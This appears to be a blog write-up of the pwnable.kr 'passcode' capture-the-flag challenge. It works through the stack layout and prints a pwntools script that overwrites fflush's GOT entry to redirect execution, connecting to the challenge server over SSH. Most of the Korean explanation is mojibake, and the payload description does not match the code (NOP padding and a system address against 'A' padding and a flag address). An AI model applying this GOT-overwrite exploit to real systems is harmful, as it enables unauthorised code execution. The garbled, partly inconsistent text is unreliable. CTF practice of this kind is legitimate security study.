passcode_WriteUp
๋ณด์๋ฉด.. ์๋ง๊ฐ ํจ์ค ๊ธฐ๋ฐ์ ๋ก๊ทธ์ธ ์์คํ
์ ๋ง๋ค๋ผ๊ณ ํด์ ์ปดํ์ผ ํ ๋๋ ๋ฌธ์ ๊ฐ ์์์ด์
๋ฌผ๋ก ์ปดํ์ผํ๋๋ฐ ์ค๋ฅ๊ฐ ์ข ๋จ๋๋ฐ ๊ทธ๊ฑธ ๋๊ฐ ์ ๊ฒฝ์ฐ๊ฒ ์ด์.. ๋ผ๊ณ ํฉ๋๋ค.
ํ์ผ์ ๋ฐ์์ ์ด์ด๋ณด๋๊น..
์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ์ ์๋ฅผ ์
๋ ฅ๋ฐ๋๋ฐ ์ฃผ์์ ๋ช
์(&)๊ฐ ๋์ง ์์์ต๋๋ค.
๊ทธ๋ผ ์
๋ ฅ๋ฐ์์ ๋ ์
๋ ฅ๊ฐ์ด ์๋ ํด๋น ์์น์ ๊ฐ์ด ์ฝ์ด๋๋ฆฐ๋ค๋ ์ฌ์ค์ ์ ์ ์์ต๋๋ค.
๋ณดํธ๊ธฐ๋ฒ์ ๋ณด๋๊น.. ํ RTL๊ณผ ๊ฐ์ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ ํด์ผํ ๊ฑฐ ๊ฐ์ต๋๋ค.
๋ํ NX๊ฐ ๊ฑธ๋ ค์๊ธฐ์ ์ธ๋ถ์ ์ ๋ณด๋ ๋ชป ๋ถ๋ฌ์ค๊ฒ ๊ตฐ์
Exploit design
๊ทธ๋ผ welcome๊ณผ login์ ํ ๋ฒ ์ดํด๋ด ์๋ค. (์ฐธ๊ณ ๋ก ์์นํ ์ฃผ์๋ ์๋์์ ํ์ธํจ)
C์ฝ๋๊ฐ ์์ผ๋๊น ๋ณด๋ฉด์ ์ธ์๋ฅผ ํ์ธํ๋ฉด name์ด๋ผ๋ 0x70 passcode๋ 0x10์ด์ฃ
๊ทธ๋ผ ์ ํฌ๋ ์ ์ฝ๋๋ฅผ ๋ณด๊ณ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ ๋๋ต ์ด๋ป๊ฒ ๋์ด์๋์ง ์ถ๋ก ์ด ๊ฐ๋ฅํฉ๋๋ค.
welcome func stack frame | esp | welcome func syscall |
- name[100] - | ebp(ebp-0x70) | - |
welcome sfp - ret | - | welcome func end |
login func stack frame | esp | login func syscall |
- passcode1, passcode2 - | ebp(ebp-0x10 & 0xc) | - |
login func sfp - ret | - | login func end |
main func stack frame | - | main func syscall |
main sfp - ret | - | main func end |
๊ทธ๋ฆฌ๊ณ ์คํ์ esp๊ฐ welcome(0x88)๊ณผ login(0x28)์ ์ฐจ์ด๊ฐ 0x60(96)์ผ๋ก
์ฐจ์ด๊ฐ 0x4(4)๋งํผ ์ฐจ์ด๊ฐ ์๊น๋๋ค. ์ ์ ๋ ๊ฒ ๊ณ์ฐํด์ ์ ๋ ๊ฒ ๋์๋.. ๊ทธ๋ผ gdb๋ก ํ์ธํ๋ฉด
๊ทธ๋ผ ์ฐ๋ฆฌ๋ ์ด ๋ ์ด๋ฏธ์ง๋ฅผ ํตํด ํ์ธํ ์ ์์ต๋๋ค
Welcome stack frame
dummy(24byte) | esp(0xffffce10) |
name buff(100byte) | start(0xffffce28) |
dummy(12byte) | ebp(0xffffce98) |
์ ์์น์ login๋ ํ์ธ์ ํ๋ฉด..
ebp์ ์ฃผ์๊ฐ ๊ฐ๋ค๋ ์ ์ ์ ์ ์์ผ๋ฉฐ(๋น์ฐํ ๋ฐ๋ก ๋ถ๋ฌ์์ผ๋๊น.. ๊ทธ๋ด ๊ฐ๋ฅ์ฑ์ด ๋๊ฒ ์ฃ ?)
๋ํ ํด๋น esp๊ฐ welcome์ ebp์ ์ฃผ์์ ํฌํจ๋์ด ์์ต๋๋ค ์์ธํ๊ฒ ๋ด
์๋ค.
๋ณด์๋ฉด scanf์ passcode๊ฐ ๋ค์ด๊ฐ๋๋ฐ ๋ฐ์ disass์ ๋ณด์๋ฉด edx-0x10์ ๋ค์ด๊ฐ๋ค์
๊ทธ๋ฌ๋ฉด ์ข
ํฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๊ตฌ์ํด๋ณด๋ฉด..
login stack frame
dummy(24byte) | esp(0xffffce70) |
passcode1(4byte) | esp(0xffffce88) |
passcode2(4byte) | start(0xffffce8c) |
dummy(12byte) | ebp(0xffffce98) |
์ ์ฝ๋๊ฐ ๋งค์ฐ ์ค์ํ ์ทจ์ฝ์ ์ ์ฝ๋์
๋๋ค. ๋ํ ๋ฉ์ธํจ์์์ welcome๊ณผ login ํจ์๊ฐ
์คํ๋๋๋ฐ ๋ฉ๋ชจ๋ฆฌ์ ๊ตฌ์กฐ๋ฅผ ๋น๊ตํ๋ฉด name[95-99]๊น์ง ๊ณต์ ๋๋ค๋ ์
๊ทธ๋ฆฌ๊ณ scanf์์ & ๋ผ๋ ์ธ์๋ฅผ ์ ๋ฃ์ผ๋ฏ๋ก์จ ํด๋น ์ฃผ์์ ๊ฐ์ด ์
๋ ฅ๋๋ ์
๊ทธ๋ผ if์กฐ๊ฑด์ ๋ง์ถฐ์ผ๊ฒ ์ฃ (NX๊ฑธ๋ ค์์ด์) ๋ค๋ฅธ ๊ณต๊ฒฉ๊ธฐ๋ฒ๋ ๋ ๊ฑฐ ๊ฐ์๋ฐ ์ด๋ ๊ฒ ํด๋ด
์๋ค.
NOP(0x90)*0x60(96byte) + fflush_got(4byte) + system_addr(4byte)
๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. pwntool๋ฅผ ํ์ฉํ์ฌ payload๋ฅผ ์์ฑํด๋ด ์๋ค.
์์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด ์ด๋ป๊ฒ ์ฃผ์๋ฅผ ์ฐพ์๋์ง ํ์ธ ํ ์ ์์ต๋๋ค.
Exploit code
12345678910111213141516171819202122 from pwn import *'''defalut setting'''context(arch='i386', os='linux', endian='little')e = ELF('./passcode')s = ssh('passcode', 'pwnable.kr', 2222, 'guest')p = s.process('./passcode')''' using function address'''fflush_got = e.got['fflush']get_flag = 0x080485e3'''payload composition'''payload = b'A'*96payload += p32(fflush_got)payload2 = str(int(get_flag))p.sendline(payload)p.sendline(payload2)p.interactive()cs
์ฝ๋์ ๊ตฌ์ฑ์ ์์์ ๋ค ์ค๋ช ํ์ผ๋ฏ๋ก ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
id ๋ช
๋ น์ด๊ฐ ์๋ฌ๋๋ฐ ๊ฒฐ๊ณผ๋ ๋์ค๋ ๋ฌด์จ.. ์๊ฐํด๋ณด๋๊น s.process์ ์์น๋ฅผ
ํด๋น ์ ํฌ ๋ก์ปฌ ์์น๊ฐ ์๋๋ผ ๊ฑฐ๊ธฐ ์์น๋ก ์ก์์ผ๋ ๊ฑฐ ๊ฐ๋ค์
๊ฑฐ๊ธฐ์ flag๊ฐ ์กด์ฌํ๋๊น์ ๊ทผ๋ฐ ์ด๋ฒ์ ๊ทธ๋ฅ ๋์ด๊ฐ๊ป์ ์ด์งํผ ๋๊ฑฐ๋๊น
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐ชโPwnable.kr' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Rookiss]echo1 (0) | 2022.11.20 |
---|---|
[Toddle]fd (0) | 2022.11.19 |
[Toddle]collision (0) | 2022.11.19 |
[Toddle] flag (0) | 2022.11.19 |
[Toddle]bof (0) | 2022.11.19 |